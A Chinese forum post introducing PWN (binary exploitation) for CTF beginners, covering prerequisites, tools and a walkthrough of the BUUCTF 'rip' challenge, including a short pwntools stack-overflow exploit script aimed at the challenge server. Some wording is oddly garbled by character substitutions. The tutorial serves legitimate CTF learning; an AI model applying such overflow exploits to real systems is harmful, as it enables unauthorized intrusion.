菜鸟条记之PWN入门(1.0.0)前言

打印 上一主题 下一主题

主题 536|帖子 536|积分 1608

什么是 PWN?

PWN 是黑客术语中的俚语,是指攻破设备或者系统。它的发音类似于“砰”,固然也有师傅把它叫作“胖”。PWN 的目标是获取系统的控制权或执行未经授权的操作。
怎样入门 PWN

前置知识


  • C 语言

  • Python 语言
    发起:掌握 C 语言后,可以直接用文章进行 Python 的学习,进度会更快。

  • 汇编语言
    基础要求:明白基本的汇编指令(如 pop、push、jmp)和步伐流程即可。

  • ELF 相关知识

    • 学习内容

      • ELF 文件的构成部分
      • 各部分的作用
      • 常用的保护机制

    • 学习资源
      在后续文章中会有简朴介绍

  • Linux 操作系统基础

    • 学习内容

      • 基本的 Linux 下令(如 cd、ls、cat)
      • 系统调用函数(如 execve)
      • glibc 库

    • 学习资源
      在后续文章中会有简朴介绍
    基础要求:可以或许使用基本的 Linux 下令,相识系统调用函数和 glibc 库的基本知识。

工具和资源


  • 假造机和操作系统

    • 发起:搭建一个 Ubuntu 假造机环境,以便调试和办理题目。
    • 只管大部分题目都使用Ubuntu环境,但这并不意味着你必须要使用 Ubuntu 作为你的主力操作系统 。你仍旧可以选择继续使用你喜欢的其他 Linux 发行版(如,Arch、Debian、openSUSE、Fedora、NixOS 等)然后使用 Docker 来模拟 Ubuntu 环境

  • 工具

    • IDA:逆向分析工具
    • Python + pwntools:用于编写漏洞使用脚本
    • gdb + pwndbg/peda:用于调试二进制文件
    • QEMU:有些题目必要它来模拟环境(对于基础入门并不是必须的工具)
    注意:入门阶段不必要设置复杂的环境,基础的调试和使用工具充足。

PWN 大致内容


  • 栈溢出与 ROP 链:明白栈溢出漏洞和怎样使用返回-oriented programming(ROP)来绕过安全保护机制。
  • 格式化字符串:学习怎样使用格式化字符串漏洞来进行攻击。
  • 整数安全:相识整数溢出等安全问题。
  • 堆漏洞使用:探索怎样使用堆上的漏洞进行攻击。
  • 异架构:明白不同架构(如 x86、ARM)的特点和攻击方法。
  • 内核漏洞:深入研究内核漏洞 (大概这并不基础...)
做PWN题的大致流程

这里使用buuctf中PWN板块的第二题rip为例子:BUUCTF在线评测 (buuoj.cn)
1. 下载和启动靶机

点开题目,里面会有一个可以下载的文件,以及启动靶机四个大字。如下图:

2. 将文件传入Linux假造机

打开Linux假造机,下载这个附件并将这个附件传入到Linux假造机中。此时我们可以看到这个附件叫pwn1
3. 检查二进制文件的安全性和架构

使用checksec工具(安装pwntools后就有了)去检察它的架构和位数以及保护开启的情况,这里因为是基础题所以什么保护都没有

4. 反编译和分析二进制文件

将文件拖动到IDA这类反编译工具中,对二进制文件进行反编译
下图中这个非常有魅力的女人头像的工具就是我们的IDA

刚刚我们通过checksec已经知道了pwn1他是64位的,那么就拖入64位的IDA中(实在如果你拖错了,IDA会提示你搞错了,所以checksec的主要功能是检察开启了什么保护)
拖入后会看到这个画面,直接OK就完事了

然后进入后,我们在左侧的Functions栏里面找到main函数并点击他

选中main函数后,按TAB键(一般在Q的左边)或者按F5键,此时就会显示伪C语言代码

5. 明白代码和找出漏洞

看懂代码(必要学习C语言),找出漏洞(必要学习相关的PWN知识),编写python脚本(必要学习python语言和使用pwntools等库)
pwntools的使用后续会进行介绍
  1. #PWN1 exp
  2. from pwn import *
  3. context.log_level = 'debug'
  4. #io = process('./pwn1') # 本地
  5. io = remote('node5.buuoj.cn',28735)
  6. payload = b"A"*15
  7. payload +=p64(0x401186)
  8. io.sendline(payload)
  9. io.interactive()
复制代码
这里我编写了python脚本,并将其定名为exp.py
6. 创建靶机并运行脚本实验攻击


  • 使用nc:用nc下令连接靶机(如nc node5.buuoj.cn 28735)进行测试。

    • 测试脚本:将脚本中的所在和端口替换为靶机提供的实际所在和端口。
    • 检查结果:确认脚本是否能准确获取flag,办理EOF错误的问题。

点击启动靶机

会得到一串nc所在,这个可以在Linux中使用nc工具进行连接

这里我们使用python脚本去攻击它的时间,必要将其放入python脚本中
比如:io = remote('node5.buuoj.cn',28735)
我们实验运行这个脚本

然后输入指令cat flag就可以拿到我们想要的东西了,复制flag去平台提交即可

如果没有打通的话会输出提示
  • Got EOF while reading in interactive
    表示连接断开了,此时你输入cat flag是没有用的

    刷题平台推荐

    BUUCTF在线评测 (buuoj.cn)
    题库 | NSSCTF
    pwn.college
    ctf.show
    其中ctfshow大部分题目是收费的,但是里面的题目较为系统化,从简朴到困难,因此我个人比较推荐
    学习PWN黑白常漫长的过程,必要学习大量知识,以及进行大量的练习。很多难以明白的问题大概很长一段时间都无法得到办理,复杂的漏洞使用也常常想让人放弃。所以在文章的最后我想分享翁恺老师的一段话:“计算机里的所有东西都是人做出来的,别人能想的出来的,我也肯定能想的出来。在计算机里头没有任何黑魔法。所有的东西只是我现在还不知道而已,总有一天我会把所有细节所有内部的东西全都搞明白。”
    参考文献


    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    x
    回复

    使用道具 举报

    0 个回复

    倒序浏览

    快速回复

    您需要登录后才可以回帖 登录 or 立即注册

    本版积分规则

    盛世宏图

    金牌会员
    这个人很懒什么都没写!

    标签云

    快速回复 返回顶部 返回列表